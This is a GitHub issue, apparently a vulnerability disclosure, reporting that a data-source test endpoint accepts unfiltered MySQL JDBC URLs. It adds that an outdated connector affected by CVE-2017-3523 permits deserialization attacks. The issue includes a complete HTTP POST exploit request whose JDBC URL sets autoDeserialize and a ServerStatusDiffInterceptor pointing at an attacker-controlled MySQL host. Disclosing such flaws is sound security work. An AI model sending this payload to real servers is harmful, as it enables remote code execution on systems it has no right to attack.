Skip to content

MySQL JDBC deserialization vulnerability #1168

Description

@Fushuling

The current project does not filter JDBC URLs, so attackers can inject malicious parameters to launch attacks.

Furthermore, the current MySQL version is very old and affected by CVE-2017-3523, allowing attackers to deserialize MySQL via JDBC.

Image

Below is an example of an attack.

POST /api/rest_j/v1/dss/data/api/datasource/test HTTP/1.1
Host: <dss-host>:<port>
Content-Type: application/json;charset=UTF-8
Cookie: bdp-user-ticket-id=xxx
Content-language: zh-CN

{"workspaceId":1,"name":"probe","username":"root","type":"MYSQL","note":"","url":"jdbc:mysql://xxxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","pwd":"x"}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions